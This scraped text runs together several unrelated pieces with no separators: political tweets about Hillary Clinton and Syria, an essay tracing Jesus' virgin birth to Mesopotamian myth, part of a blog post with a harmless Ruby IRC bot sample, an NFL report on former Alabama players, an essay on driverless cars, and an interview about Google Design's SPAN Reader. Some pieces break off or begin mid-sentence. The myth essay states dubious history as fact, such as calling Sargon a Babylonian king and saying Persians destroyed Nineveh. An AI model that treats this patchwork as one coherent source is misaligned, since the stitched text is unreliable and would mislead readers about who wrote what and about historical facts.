Berniebros: "Liberals made him do it!" — alt-center (@neoblackout) April 6, 2017
Also: Imagine if Hillary Clinton threatened to change her Syria policy because she got emotional over seeing dead babies… https://t.co/gbzgMnswva — Joan Walsh (@joanwalsh) April 6, 2017
@JoyAnnReid I'd be so much less worried if it were Hillary doing this. — Diana Spindler (@diana_spindler) April 7, 2017
Watching Hillary discuss policy in Syria and not being afraid of Russia is making me SO UPSET B/C SHE COULD HAVE BEEN OUR PRESIDENT. #WITW — Ella Dawson (@brosandprose) April 6, 2017
@ the ppl who said Hillary would start WW3 W/ Russia, Syria n voted trump to avoid that but now support him doing that
You a fake ass bitch — Aaron Gonzalez (@CptKerrFluffle) April 7, 2017
If this situation proves anything—besides the absurd hypocrisy of neoliberal Democratic partisans—it’s that Hillary Clinton did not stay in the woods long enough. Democrats are at their weakest point in generations in terms of representation at the state and national level, and in order to fix that they’re going to need to move beyond 2016 and Clintonism.Library: Modern Documents: James Still: Virgin Birth
The Virgin Birth and Childhood
Mysteries of Jesus
Biblical scholars have long ago dismissed the literal interpretation of the miraculous virgin-birth of Jesus. Also, many liberal Christian denominations have either quietly purged the curious piece of teaching from their body of philosophy, or conveniently ignore the issue altogether. Despite this, the allure of such an intriguing concept is still very powerful and Jesus' virgin birth continues to enjoy the unquestioning belief of millions of people. The purpose of this essay is to explore the mythological connections between prodigal children in history with an emphasis on the meaning and symbology of virgin birth as it particularly relates to Jesus. In this way Jesus' virgin birth and the mysteries surrounding it will be fully explored in the mythological context from which it derives.
We know very little about the desert nomads and goddess worshippers who settled the fertile Tigris-Euphrates river valley. Mesopotamia, situated as it was between the ancient lands of Ur and Sumer, was almost constantly at war in the three millennia preceding the Common Era. What we do know comes down to us through the Ashurbanipal library. King Ashurbanipal (fl. 620 BCE) of Nineveh ruled the Assyrian empire just prior to its decline. His brutal accomplishments on the battlefield were tempered only by a driving passion for letters and learning so that, over time his spoils included the religious texts and history books of all of his conquered neighbors including the Mesopotamians. After his death, his empire collapsed and in a few short years Nineveh itself was utterly destroyed by Persian invaders. The invaders were only interested in destroying Nineveh's military might; they ruined the city's walls, but completely ignored the Ashurbanipal's library, perhaps considering it a mere whimsical endeavor. The library was soon swallowed up by the shifting sands of the desert. Finally in 1845 British archaeologists rediscovered Nineveh and the wealth of books which lay buried there.
The pre-civilized world of ancient Mesopotamia, consisted of small farming settlements whose people worshipped Ishtar, a fertile, mother goddess. Ishtar caused the rains to fall and the crops to grow in a continuous cycle of birth, life, and death. Over time, Ishtar-worship began to wane as the warlike male gods of neighboring tribes emerged in positions of prominence. The warrior-kings of neighboring desert tribes continually invaded the fertile lands of Mesopotamia, eventually seizing the land and incorporating it into their own rising and falling empires. One of the first warrior-kings to rise up among these early peoples was Sargon of Akkad, who established his kingdom in 2200 BCE. Ishtar was by now fully absorbed into the stronger cults of the patriarchal deities and she became a lesser deity who was subservient to the new male gods of the warrior-kings.
Sargon is perhaps the first Babylonian king who was said to have a larger-than-life birth and childhood. He was born in secret to a mother of lowly birth and a father who was a mountain god. In a motif which would later be borrowed and attributed to Horus and Moses, Sargon's mother placed the child in a basket of rushes and sent him down a river to protect him from the god's enemies. The babe was rescued downstream by simple folk and the goddess Ishtar loved and guided Sargon through his early childhood and to his final destiny: the ascension of the throne. Sargon's biography started a "tall tale" tradition that subsequent kings felt the need to match. The attribute of divine birth and predestination became an important vehicle whereby a mortal king was said to be god-favored; gaining recognition and power during his life which often continued into posterity long after death.
By 1000 BCE, we find this tradition improved upon so that the biography of kings and important men insist that they were not only divinely born, but said to have transcended death to become gods themselves. Zoroaster, the Persian prophet and patriarch who lived and preached in ancient Babylon, was said to have been God-begotten and virgin born. Virgin-birth was the responsibility of the Ishtar priestesses, who conducted fertility rites, prophesied and performed elaborate rituals in the temples throughout Babylon. The priestesses who administered the temples also managed a lucrative prostitution business that provided a steady stream of financial support for temple activities. Upon their return to Palestine, Hebrews of the Babylonian captivity brought back to the Mediterranean peoples wondrous tales of the priestesses and their blasphemous sexual ministries to the men who visited them. The role of the Ishtar priestess was to act as both mother to the prospective man's child and minister to the child's divine needs |
-world usage, where some libraries seemed to still be concerned more with what seemed cool or “what could maybe possibly be useful sometime we hope”. This may not turn out to matter, as my real-world use could be worthless to others, but what the hell, it’s not like it’s hurting anybody to offer this thing up.
So for those who are interested in a very simple IRC library, I suggest you check out my rdoc page for Net::YAIL, and do a gem install net-yail (or just download the tarball from Rubyforge).
Here’s a quick sample of what a basic dumb bot could look like:
require 'rubygems' require 'net/yail' irc = Net::YAIL.new( :address => 'irc.someplace.co.uk', :username => 'Frakking Bot', :realname => 'John Botfrakker', :nicknames => ['bot1', 'bot2', 'bot3'] ) irc.prepend_handler :incoming_welcome, proc { irc.join('#foo') return false } irc.start_listening while irc.dead_socket == false # Avoid major CPU overuse by taking a very short nap sleep 0.05 end
It’s so easy, even a caveman could do it!As New Orleans Saints running back Mark Ingram ran 50 yards for a touchdown with 1:33 left in Sunday's game against the New York Jets, he went past 1,000 rushing yards for the 2017 season, putting the attention on his success as a ball-carrier.
But Ingram finished the Saints' 31-19 victory with more receiving yards than rushing yards. Ingram ran for 74 yards and two touchdowns on 12 carries and caught five passes for 77 yards.
Ingram recorded his second-highest single-game receiving yardage of his career (behind a 98-yard game against the Arizona Cardinals on Sept. 13, 2015), and his 54-yard catch-and-run in the first quarter against the Jets was the second-longest reception of his career, behind a 59-yarder in the game against Arizona.
Ingram's five receptions lifted his total for the season to a career-high 51, and with 375 receiving yards, he's 29 short of his single-season best.
With 1,045 rushing yards, Ingram has 2 more than he had in 2016, his first 1,000-yard rushing season. His two touchdown runs gave him 11 for 2017, also a career-high.
"Starting off my career, it's something I always wanted to do," Ingram said. "I just got to thank the Lord for this opportunity, putting me on this platform. My teammates, my coaches, anybody who has ever blocked for me -- receivers, fullbacks, tight ends -- there are a lot of hands that go into having two seasons like that. So I'm very appreciative of all my teammates, my coaches, and God is good."
With Ingram's two TDs on Sunday, he and Alvin Kamara became the third pair of running-back teammates to have at least 1,200 yards from scrimmage and 10 touchdowns apiece in the same season, and they're the first to do so since 1988.
The victory lifted the Saints' record to 10-4 with two games remaining in the regular season. They're tied with Carolina atop the NFC South standings, but New Orleans swept the season series against the Panthers.
Ingram was among the 24 former Alabama players who got on the field during the 15th Sunday of the NFL's 2017 season.
Other former Alabama players who started on Sunday included:
Right cornerback Marlon Humphrey (Hoover) and middle linebacker C.J. Mosley (Theodore) of the Baltimore Ravens. Mosley made six tackles, broke up three passes and forced a fumble and Humphrey made one tackle and broke up a pass in a 27-10 victory over the Cleveland Browns. Mosley caused a fumble after a reception in the second quarter, which Baltimore recovered at the Cleveland 45-yard line. The Ravens turned the turnover into a touchdown.
Right offensive tackle Andre Smith (Huffman) of the Cincinnati Bengals.
Free safety Ha Ha Clinton-Dix of the Green Bay Packers made five tackles in a 31-24 loss to the Panthers.
Right cornerback Kareem Jackson and wide receiver DeAndrew White of the Houston Texans. Jackson had four tackles and broke up a pass in a 45-7 loss to the Jacksonville Jaguars. White made his first NFL start, but was thrown to only once and didn't have a reception in the game.
Left offensive tackle Cam Robinson of the Jaguars.
Inside linebacker Mark Barron (St. Paul's) of the Los Angeles left a 42-7 victory over the Seattle Seahawks early because of a knee injury.
Running back Kenyan Drake of the Miami Dolphins ran for 78 yards and a touchdown on 16 carries and caught six passes for 35 yards in a 24-16 loss to the Buffalo Bills. Drake had run for 234 yards in the previous two games and had five carries for 53 yards at the end of the first quarter against Buffalo. After Drake scored on a 1-yard run with 7:57 left in the fourth quarter, the Miami offense called a pass play for its final 16 snaps of the game.
Strong safety Landon Collins and right defensive tackle Dalvin Tomlinson of the New York Giants. Tomlinson made three tackles and Collins had one in a 34-29 loss to the Philadelphia Eagles. Collins was listed as doubtful on the Giants' injury report after suffering a sprained ankle last week, and he left Sunday's game after re-injuring his ankle.
Left guard James Carpenter of the Jets.
Left guard Chance Warmack of the Eagles.
Middle linebacker Reuben Foster (Auburn High) of the San Francisco 49ers made eight tackles and a quarterback hit in a 25-23 victory over the Tennessee Titans.
Left defensive tackle Jarran Reed of the Seahawks made five tackles against the Rams.
Left guard Arie Kouandjio of the Washington Redskins made a tackle for the third straight game in a 20-15 victory over the Cardinals even though he's an offensive lineman. Sunday's tackle came when he pushed Tramon Williams out of bounds after the Cardinals cornerback had recovered a fumble.
Other former Alabama players seeing action on Sunday included:
Bengals quarterback AJ McCarron (St. Paul's) completed 3-of-6 passes for 19 yards with no touchdown and no interceptions in a 34-7 loss to the Minnesota Vikings.
Packers defensive tackle Quinton Dial (Clay-Chalkville).
Jaguars defensive tackle Marcell Dareus (Huffman) and running back T.J. Yeldon (Daphne). Dareus made two tackles and Yeldon gained 27 yards on seven carries and caught four passes for 25 yards against the Texans.
Jets wide receiver ArDarius Stewart (Fultondale).
Titans running back Derrick Henry gained 19 yards on seven carries and caught two passes for 9 yards against the 49ers.
Redskins outside linebacker Ryan Anderson (Daphne) made three tackles against the Cardinals. He suffered a knee injury covering a punt.
FOR MORE OF AL.COM'S COMPREHENSIVE COVERAGE OF THE NFL, GO TO OUR NFL PAGE
Seahawks running back Eddie Lacy was active on Sunday, but did not play against the Rams.
Ravens outside linebacker Tim Williams, Bengals cornerback Dre Kirkpatrick (Gadsden City) and Oakland Raiders wide receiver Amari Cooper were designated as inactive on Sunday.
On Saturday, Chicago Bears safety Eddie Jackson had a team-leading eight tackles and recovered a fumble in a 20-10 loss to the Detroit Lions.
On Monday night, the Atlanta Falcons visit the Tampa Bay Buccaneers at 7:30 CST. ESPN will televise the game.
Mark Inabinett is a sports reporter for Alabama Media Group. Follow him on Twitter @AMarkG1.The video that introduces Nissan’s IDS automated concept car resembles any other car commercial: vaguely propulsive background music, tracking footage shot from a helicopter sweeping over a city, a handsome man behind the wheel. Then, as the narrator promises that Nissan’s technology will make driving more “enjoyable” by allowing computers to take over during moments of heavy traffic, the car’s manual controls vanish beneath an elaborate folding-panel system. The driver role is replaced with the equally familiar role of passenger, gazing contemplatively at the passing scenery of the same conventional streets and bridges and office buildings that would be visible today.
But new technologies may ultimately evolve far beyond machines “automating” the recognizably human task of driving. Hypotheses about “driverless” cars still presume there will be such a thing as drivers and passengers, trapping us within the current incarnation of our transportation system. Frequently applied terms like “automated” and “driverless” are inadequate in that they continue to posit manually piloted vehicles as the norm from which the new technologies deviate. Rather than robot drivers piloting cars that humans might otherwise be driving, these new technologies may transport us in an entirely different way that dispenses with accommodating human capabilities.
While attempting to describe an upcoming future that we do not yet understand, predictions like those in Nissan’s IDS video remain burdened with obsolete concepts. It is telling that Nissan’s concept car and the vehicles imagined by Volvo and IDEO retain familiar characteristics of gasoline-powered cars. They have a hood and front grille as ornamentation, for instance, even after their electrical propulsion mechanisms have rendered them nonfunctional. The electric drivetrain of Tesla’s Model S makes the front hood vestigial; the company’s nickname for that anachronistic space where the engine once was — a “frunk,” or front trunk — embodies the awkwardness of adapting new designs to our current expectations.
Our future passenger experience might bear little resemblance to either driving or riding; we’ll inhabit a space that only coincidentally happens to be in motion
Once designers of automated vehicles are no longer bound by the outdated limitations of accommodating either internal combustion technology or human operators, they could move far beyond our present-day intuitions of what a car should look like. Replacing bulky gasoline engines and transmissions with multiple smaller electric motors and slim under-floor battery packs would enable radical new possibilities for the configuration of interior space. As early as 2002, GM’s Hy-Wire concept car separated an interchangeable passenger compartment from its fuel cell and electric motor powertrains, opening up space for an interior that more closely resembled a living room than conventional expectations of passenger-car seating. Where one would expect to see a hood and dashboard, the windshield extended to become a panoramic window framing the road ahead as a scenic view.
The Hy-Wire’s technology suggests that the focus of car design could turn inward, yielding a range of new possibilities for vehicle interiors. Our future passenger experience might bear little resemblance to either driving or riding within a vehicle; we’ll inhabit a space that only coincidentally happens to be in motion.
With a system of automated vehicles, transit passengers will no longer need to pay any attention while distances are being traversed. With the possibility of traffic collisions theoretically eliminated, safety requirements mandating fixed seats, air bags, and seat belts would become obsolete. Passengers who no longer needed to be restrained would be able to move around freely. After ease of handling becomes an irrelevant design consideration for new vehicles steered by computers, designers will be free to stretch wheelbases, raise ceiling heights, and specify softer suspensions to make that movement more natural and comfortable. And since the people inside wouldn’t necessarily need to see where they were going, a growing range of possible wall fixtures — storage cabinets, LCD screens, perhaps a kitchen sink — could substitute passenger convenience over views of the world outside. The elimination of the driver will mean the end of the car as a car.
The social impact could be broader than we expect. When we don’t have to look where we are going, we have to deliberately choose what we want to see. One of IDEO’s more radical visions of how automated vehicles could be used, the WorkOnWheels mobile office, is designed to allow employees to travel to new locations as they work. The pod contains office furniture and pull-down shades over the windows, letting workers choose which aspects of their surrounding environment they want to see, without having to visually process the travel in-between. Cityscapes become optional, consumable on demand rather than by necessity. Meanwhile, the mobile workplace’s controlled internal habitat would remain constant no matter where it was.
Such a vehicle would not have to travel any faster for us to perceive a dramatic reduction in travel time. The time once spent in vehicles inertly waiting to arrive could now be filled with the same sort of activities we’d be doing if we were already there — or had never left.
The time once spent in vehicles inertly waiting to arrive could now be filled with the same activities we’d be doing if we were already there — or had never left
The opportunity to multitask while traveling could make the journey into the destination. Given the expanded possibilities of what one could do inside a vehicle, our existing distinctions between vehicles and buildings, between transit and destination, between static and mobile spaces, may begin to blur. Imagine commuting while sleeping, or socializing at happy hour while the bar transports you home. Imagine if a garage was also the car. If commuting entails being in a space that is functionally equivalent to being at home, one might eventually skip returning home, and commute perpetually. The journey to work could commence as soon we fall asleep. The idea of having a destination becomes as obsolete as drivers and cars. Highways would host listless roaming bedrooms, meandering through the night.
Our understanding of a house as a stable locus of physical and emotional shelter could become diluted. There would be no reason for homes to not also be vehicles. A range of new options for customizing these vehicle-home hybrids would emerge: Homes could be made up of modular docking pods, and specific rooms could be shared, swapped, rented out, or sent away for cleaning or restocking. Modern conveniences that we currently take for granted — such as being able to use a bathroom without needing to arrange for its presence in advance — could become tomorrow’s luxuries. The homeless would be the only people not constantly in motion, the people closest to retaining a fixed physical location called home. Stasis would become homelessness.
If vehicular interiors can accommodate the activities possible at most destinations — if the vehicle becomes a destination in and of itself, and destinations become other vehicles — the mediating experience of a journey between places would be eliminated. There will be no signs to point us anywhere. There would be no need to know directions, and no sense of what being “on the way” to somewhere looks or feels like. There will be no need to know how to get anywhere once we forget the concept of having anywhere to go.
Driverless cars will not be the first transit technology to challenge our conceptions of time and space. The travel speeds of the first railroads were unprecedented, surpassing the contemporary ability to perceive the distance between destinations. Train routes became abstractions, navigated by means of timetables rather than maps. Eventually, transit system diagrams, like the iconic Vignelli New York City subway map, eliminated realistic representations of geography. Mass-market novels grew in popularity as a way for riders to pass the time while their capacity to comprehend or influence the direction of their journey was suspended.
Geographic proximity became less relevant than whether or not the destination was connected to the transportation network. Early transit-oriented developments, such as theme parks and department stores, were built by railroad interests to take advantage of the audiences captive within their systems. Growing suburban commuter towns expanded to the limit of convenient walking distance from a train station; areas beyond that boundary remained rural.
At the same time railroads were offering passengers prescribed choices between linear routes, other technologies were bringing a wider scope of self-directed travel to many consumers. The growing popularity of early bicycles was met with a moral panic over whether they would allow female riders the freedom to travel unsupervised and mingle with members of the opposite sex. While exploratory automotive road trips are now romanticized as integral to American culture, a continuing reminder of the bicycle’s early reception can be seen in Saudi Arabia’s laws prohibiting women from either driving cars or riding bikes.
The user interface for navigation would no longer be a map, but a clock or calendar. Place would be synonymous with occasion, and more closely resemble verbs than nouns
External rules can always be imposed to limit the freedoms that might seem innately afforded by transportation technologies. Driverless cars would seem to retain the automobile’s capability to allow passengers free individualized movement, but their software may introduce new avenues for regulatory control over those movements. Physical impediments like gates and cul-de-sacs would become less relevant compared with restrictions or service fees implemented at the level of code. People and buildings in different service networks might pass each other by without experiencing the slightest hint of one another. And a software error could make certain places impossible to access even as you go right through them. It may require special attention for passengers to know what choices they actually have over their journeys, what potential detours they might be missing. Passengers content to surrender responsibility over their journeys could find themselves back on de facto railroad tracks.
A “driverless car” could become conceptualized as a horizontal elevator. After an elevator’s initial acceleration, the difference in time between reaching higher and lower floors is minimal. Traveling between buildings could become closer to traveling between different floors in the same building, and with no greater awareness of the other numbered floors or buildings blinking past in between. Destinations become equally accessible entries in an arbitrary numeric index, with the differences in access time reminiscent of the slight delays in retrieving digital information from a mechanical hard drive.
It should be no surprise that Google, a technology company focused on information retrieval, has been the first to replace the analog interface of a steering wheel with the binary option of a single push button. Our wider urban environment could become randomly accessible in the same way that Amazon’s “Chaotic Storage” warehouses already organize their contents, independent of any traditional spatial categorization scheme.
Maps would no longer be relevant outside the internal processes of a vehicle’s guidance computer. If one sought, say, the nearest coffee shop, it would not have to be a question of geography. The desire for coffee wouldn’t be a matter of a destination or a journey. Behind the scenes, software would instruct a vehicle to take its passenger to a nearby coffee shop, or it could summon a mobile coffee shop toward the customer. There would be no trip to a fixed location, only trajectories calculated dynamically to unite the various moving parties to facilitate an exchange. The divergent aims and cross-purposes of individual drivers pursuing their goals would be subsumed by a swarm of vehicle-buildings coordinated across a shared network, moving collectively in fluid patterns. Extrapolate this principle, and one can see how dispersed low-rise communities of mobile buildings might replace fixed, vertically oriented cities.
Once physical locations are rendered as abstract coordinates in a user interface, they effectively become arbitrary, as interchangeable as the retail spaces of big-box stores. The experience of inhabiting any particular interior space might become decoupled from its existence within a specific place, free from the baggage of associated historical and geographic context. Real estate would no longer need to be valued according to its location, because proximity would always be subject to change. Travel to visit or inhabit buildings still standing in fixed physical locations might join horses and antique cars as nostalgic hobbies for the wealthy.
Our memories of the spatial processions encountered while traveling through urban architecture — approaching the public facade of a building, the transition between the street and lobby, the awareness of landmark reference points on a skyline, the interstices between buildings — might eventually begin to fade. The experience of passing from one destination to another could become akin to watching the progress bar of a software download. Traveling to a different location, or having that location travel to you, would be more akin to updating an app.
The user interface for navigating space would no longer be a map, but a clock or calendar. Distances once traced on a map would be transmuted into blocks of time plotted on one’s daily schedule. Place would be synonymous with occasion, with movement through time corresponding to automatic movements through space. Frequent destinations such as “home” and “work” might transform into abstract zones differentiated mainly by when rather than where they happen. Our motives and desires would be foregrounded over the experience of traveling, shifting our conception of destinations to more closely resemble verbs rather than nouns. Your workout routine might take place in a different gym than it did the morning before, but you wouldn’t know the difference; they would be identically convenient. As soon as our scheduled time within one destination expired, we would be able to walk through a docking port into the next, like a cinematic cut skipping the passage of mundane events that might otherwise have unfolded between selected scenes.
Driverless passenger cars and delivery vehicles will further accelerate our current move to on-demand services that let us bypass those inconvenient interstitial moments of everyday life — walking to a store, standing in line, cooking a meal, and so on. The logistics of scheduling automated vehicles will ensure that even more of our time becomes consciously programmed and structured, optimized for maximum productivity. With each advance, our surrounding environment will become increasingly hostile to serendipity and chance meetings, known sources of creative breakthroughs.
Contemporary urban-planning guidelines are based on assumptions that the rich pedestrian life of a street or a park emerges from adjacencies with surrounding businesses. Driverless cars posit a possible future without street life and without spaces for spontaneity. As with previous planning mistakes in developing automotive-oriented cities, carmakers and technology companies are moving forward with their ideas without reckoning with the full range of potential social impacts. These futures must be imagined before they can be embraced or resisted. Otherwise driverless cars may steer society into a blind cul-de-sac, and we will discover we have nowhere left to go.The SPAN Reader, a book released by Google Design in conjunction with its SPAN conferences in New York and London, is an eclectic collection of design thinking that investigates a variety of contemporary issues, such as the ethics of interface design, the implications of smart homes regarding privacy, the nature of time in digital space, the WYSIWYG paradigm, handmade computing, the haptic joy of contemporary stonecutting, and even the architectural implications of burglary. The book features original writing as well as several reprints, and many of the authors featured are unexpected (at least to me)—it is one thing to read Keller Easterling’s critique of intangible architecture and power structures in its original context of the theoretical contemporary art journal e-Flux, and quite another to read it within the pages of a Google publication.
As a glimpse into the thinking behind Google Design, the SPAN Reader seemed a good place to start when trying to understand the culture and philosophies at work in the office. This post begins with a short interview with Rob Giampietro and Amber Bravo, creative lead and editor of Google Design NY, respectively, discussing the editorial mission of Google Design, the ever-evolving metaphor of “material,” and the process of creating the book. Finally, Rob and Amber respond to a number of excerpts from the book (a reading of the reader?), offering us a chance to understand why these issues are important, and how they fit into the larger framework of Google Design. Many of the individual texts are available to read in full online, so please do click through.
GOOGLE DESIGN
Emmet Byrne: What is Google Design?
Rob Giampietro/Amber Bravo: Google Design is a cooperative effort led by a group of designers, writers, and developers at Google. We work across teams to create tools, resources, events, and publications that support and further design and technology both inside and outside of Google.
EB: One theme that resonates in the SPAN Reader is the idea of integrating digital design thinking with traditional modes of physical design thinking. Is this something Google Design takes to heart?
RG/AB: Digital design has benefitted tremendously from what’s come before it—print design’s focus on highly controlled and comprehensively specified modular systems, environmental design’s capability to compress, augment, and orient space, product design’s focus on the user and the affordances of a material, motion design’s ability to make information come to life in time, and so on. That said, today’s technology is really challenging the parameters between the traditional disciplines of design. When the interface becomes three dimensional, as is the case with VR, you need to completely reframe your thinking. Material Design mixes media in its framing as well—it thinks about how to make interfaces more immediately graspable, by playing with the dimensionality of light and shadow and thinking about how objects and surfaces like paper behave in the physical world. So we’re certainly interested in all kinds of design and what we can learn from them in our work and the field of digital designer more broadly. We also do a lot of non-mediated things like conferences and events, and in those cases we’ve had to think about how Material Design translates to other contexts—how it works in print, or how it works in space. Lance Wyman spoke at SPAN in New York about the design of urban iconography. As a team tasked with streamlining and evolving the company’s graphic language, we find ourselves often collaborating with teams on all levels of design, down to the tiniest details, like helping to refine product icons. So we really look up to and stand on the shoulders of Lance and others’ work in this field. If we do our jobs well, it’s a symbiotic approach, design and technology co-evolving, and highly attuned to the nuances of a user’s context in all cases.
EB: When did “Material” come to represent something virtual instead of physical?
RG/AB: Google originated the name “Material Design” for the design system and always intended for it to be a broad, open-source initiative for the design community. We continue to lead and push the system forward, both visually and conceptually, so that it’s best-in-class and up-to-date, and we also rely on the community to push it forward and adapt it for their own uses to really bring it to life. Last year, we even established our first-ever Material Design Award, to acknowledge all the great examples of material design being produced by third-party product teams.
In terms of the “virtualization” of material that you ask about, Material Design is a system for thinking about our digital surfaces that uses the traditional tenets of graphic design to suit this new context most appropriately. So, for example, with mobile devices, once you remove the mouse or other pointing device, then you are actually interacting with a surface, and the affordances of that surface—its materiality—become critical. So while it is virtualized, it’s also being touched. It’s still mediated, but less so. And that closer proximity to the interface offers a new set of opportunities. The floating action button (FAB) in Material Design rises up subtlely to meet your finger when you tap it. The number of layers in Material Design cannot exceed the device’s actual depth and fade into illusory space. It’s probably important to note that almost all GUIs have been metaphorically-driven. The desktop metaphor was one of the first, but following that were spatial metaphors (GeoCities, Internet Explorer, Netscape Navigator), and more heavy-handed physical metaphors like bookshelves, dashboards, etc. These metaphors often build a bridge to make a technology more familiar to new users, but, as these users become more accustomed to the technology, this metaphorical layer can be lightened and the technology can become a bit more true to itself. A last word on metaphors: it’s been interesting in the last few years to see the directionality of these metaphors reverse, so that instead of digital technology receiving metaphors from the analog world, it’s actually starting to provide them. In the last few months we’ve been interested to hear phrasing like “paintings as social networks,” “buildings as operating systems,” and so on.
EB: How do areas like Material Design and marketing intersect with Google Design’s editorial and educational mission?
RG/AB: Material Design is an open-source product and we treat it as such with regular updates and improvements that we share widely. On our team, designers and engineers work very closely together to build, and, perhaps even more crucially, maintain the system and services we develop. That’s a hallmark of our work at Google Design—the fact that we’re lead by design and engineering in equal measure. We’ve created a unique platform for sharing our work and the work of other design teams across Google, but it’s always geared toward the perspective of a team of people who are excited to polish and push the boundaries of design and engineering. We mentioned our mission earlier: to support designers and developers both internally and externally to Google. So part of our editorial and educational imperative is to share Google’s process and thinking with the design world around important topics like design tools or identity systems, and, just as significantly, we want to listen, learn, and respond to what the design world is talking and thinking about and bring the best of those ideas back into the company to power it and make all of our work better. Google is a technology organization, but, increasingly, and especially with the formation of Google Design, it understands itself to be a cultural organization as well.
EB: What is a normal day like for the two of you?
AB: I head up our editorial efforts at Google Design. It’s really important for our team to connect with the community in a meaningful way, through a variety of channels. So I help make those connections via social comms, and editing and producing stories that support the design community both inside and outside of Google. Stories, of course, can take many forms—for example, we relaunched our site for last year’s I/O with a documentary video series that explored the making of Material Design—so storyboarding, script writing, and pitching in on art direction all fall within my general purview depending on the given project. I work closely with the designers and engineers both on and outside our team to help them frame and write their stories. This can sometimes mean parsing pretty technical language, or figuring out the most exciting lens or angle for a given project. And of course, I get to work on amazing, special projects like the SPAN conference and reader, and even dabble a bit in speech writing and technical UX writing for products. My title at Google is “Content Strategist.” Coming from a more traditional journalism background, this felt a bit foreign to me at first, but I’ve come to appreciate its techy charm and the fact that it underscores my special knack for being a generalist! Design.google.com is still quite young, so it’s been exciting to see it grow and evolve every quarter into something a bit more robust and editorially engaging.
RG: Within Google my role is Design Manager, and I am also the site lead for the Material Design studio in New York. This means I get to lead a small studio that’s part of a much bigger effort, meet regularly with designers and engineers to develop projects, structure priorities, provide direction and mentorship, and evaluate impact and success. So it’s a people-focused job, both for the people in the office to make sure they’re creatively challenged, and for finding the most talented people to join our team in New York. I am also one of several creative leads who assume responsibility for inter-office projects—like the SPAN Conferences and Google Design efforts in my case. On a day-to-day basis I meet with groups across the company and outside of Google to provide feedback and direction, share our design efforts, and learn from new projects and research. Much of my work with Google Design has to do with capturing and showcasing some of the most innovative thinking happening around design at Google and also fostering connections between what we’re doing and what we see in the wider design sphere.
THE BOOK
EB: Why make a book?
RG/AB: We wanted to go above and beyond the standard swag bag people are accustomed to getting at conferences, and produce something that people would appreciate and hopefully hang onto for a long time. At SPAN, we were able to bring together such an exciting array of talent, we wanted to somehow extend the moment of the conference and let people take those conversations home with them. We also thought the intellects of our speakers merited deeper engagement and they deserved some extended promotion and support from us, which we developed the Reader to provide.
One of our early interests in planning for example was privacy and access and how design could get involved and help to lead the discussions there. When we learned Geoff Manaugh was working on a new book on burglary in the city and that he was willing to share an early excerpt of this book with us for the reader, we were thrilled—this is exactly the kind of thing we were hoping for. Same thing with Amber’s interview with Nick Benson, a third-generation stonemason—we hoped this would shift the conversations we’d been having around materiality to a much different timescale. In addition to all this, it’s fair to say that conferences come and go, but books hang around. Much of why we’re able to learn from the earlier work of IBM and others is because the documents of these projects are still available to us. Olivetti supported a journal on city planning, a literary magazine, and an art gallery. Publishing, as much as convening, is part of building culture, and Google recognizes that it has a responsibility here. Everyone at Google has been thrilled at the reception of the SPAN Reader, we’ve shown we can do projects like this, and hopefully we’ve paved the way for more of them.
EB: How did the project come together?
RG/AB: The whole Google Design team worked together to source speakers for SPAN, and Rob selected and invited these speakers to the conference and worked with them to develop their talks. Once they were involved, Amber worked to assemble shortlists of essays we wanted to consider for the reader, and Amber and Rob worked together to assemble and balance the collection. There were many others on our team who were involved as well, along with crucial input of our book designer Chad Kloepfer [former senior designer at the Walker Art Center], who did a six-month “residency” at Google on our team to help bring this and other projects to life. You can read more about the design of the book here.
EB: The content in this book is quite diverse. On what axes did you plan this diversity?
RG/AB: SPAN’s subtitle is “Conversations about design and technology, sponsored by Google.” This was critical to our approach. With the Olivetti publishing we just mentioned, there was a diversity of points of view and the context was one of scientific research and development. This is also where Google is at its best. We have the scale and ability to explore multiple directions in a given area of focus, and it’s that diversity of talent and perspectives that enables the company to yield the best and most innovative experiences for our users. With SPAN, we reached out to a lot of people to discuss their ideas and work—some of these conversations were preliminary and others continued to develop. The ideas represented in the reader belong to people who really opened our minds or informed our thinking about how we practice design. In a sense we made this reader to orient and focus ourselves as well as our audience. This first reader had a somewhat historical focus with the inclusion of Davide Fornari, John Harwood, and others—subsequent readers may shift conversations into other fields, or more into the present day. Please check out video of all of our session recordings in New York City and London.
THE CONTENT
The following excerpts are from the Span Reader (2015). Rob and Amber were asked to respond to each quote in regard to their work at Google Design.
Page 12
Luna Maurer, from the Conditional Design Manifesto
“The process is the product.” (read the full manifesto)
RG/AB: Luna (of Studio Moniker in Amsterdam) was one of the first calls we made when organizing SPAN. There is something playful, irreverent, and human about her work while being highly programmatic and process-driven. We responded to it and it was gratifying to see a room full of developers and engineers jump to their feet after her keynote at SPAN London. Code review is a huge part of building products at Google, and Moniker’s process of arriving at a design through a rationalized and systematic processes seems to speak directly to the way in which engineers are equally concerned with the elegance of the string as they are the final outcome. This quote is characteristic of Luna and Moniker’s her work—absolutely rigorous, but arriving at a conclusion that is nonetheless unexpected.
Page 25
Paul Ford, speaking to a graduating class of interaction designers, about the implications of the products they will create
“The things that you build in the next decade are going to cost people, likely millions of people, maybe a billion people depending on the networks where you hitch your respective wagons, they are going to cost a lot of people a lot of time. Trillions of heartbeats spent in interaction.” (Read the full address.)
RG/AB: Paul’s breakthrough essay “What Is Code?” Came out in Bloomberg Businessweek while we were planning SPAN and we remembered reading this earlier talk of his and wanted to include it because Paul is as smart and savvy a tech writer as there is, but he always writes with great feeling and heart. Because Google operates at a staggering scale—we have several products operating at more than a billion users—we wanted to remind ourselves of the responsibility we have in making this work. The Eameses talk about design as “the best for the most for the least.” We aspire to something very similar at Google. Every bit that has to be downloaded on costly rural internet in low-income communities, every notification that takes a user out of what they’re doing or away from someone else—designers make the decisions that yield these outcomes and carry these responsibilities. That’s how we read what Paul is saying here.
Page 50
Michael Rock, on the WYSIWYG design paradigm
“In this new condition, the moment of finishing is not a fact of the medium but the will of the typographer: the work wavers in a transitory state and is only done when the designer commits. The writing may be finished but the type always temporary. This unification of the sentence and the display collapses form and content into something close to the same thing where every work is a work-in-progress.” (Read the full article.)
RG/AB: Michael and 2×4 were involved in helping us to plan SPAN, and they also shaped the interior architecture of the event. He is one of our best thinkers on design, and we loved the way his essay dramatized the flowing, variable, and technologically evolving aspects of typography then and now. His notes were a sketch for what we wanted to do with SPAN as a whole: Read technology as a continuous, rather than a sudden, process.
Page 55
John Harwood on IBM and the Transformation of Corporate Design
EB: One of the texts you featured in the book was an excerpt from The Interface: IBM and the Transformation of Corporate Design, 1945–1976, by John Harwood, which describes a two decade long period of design innovation that brought together IBM’s in-house design team, celebrity designers such as Charles Eames, Paul Rand, George Nelson, Marcel Breuer, and Eero Saarinen, with IBM’s researchers, scientists, |
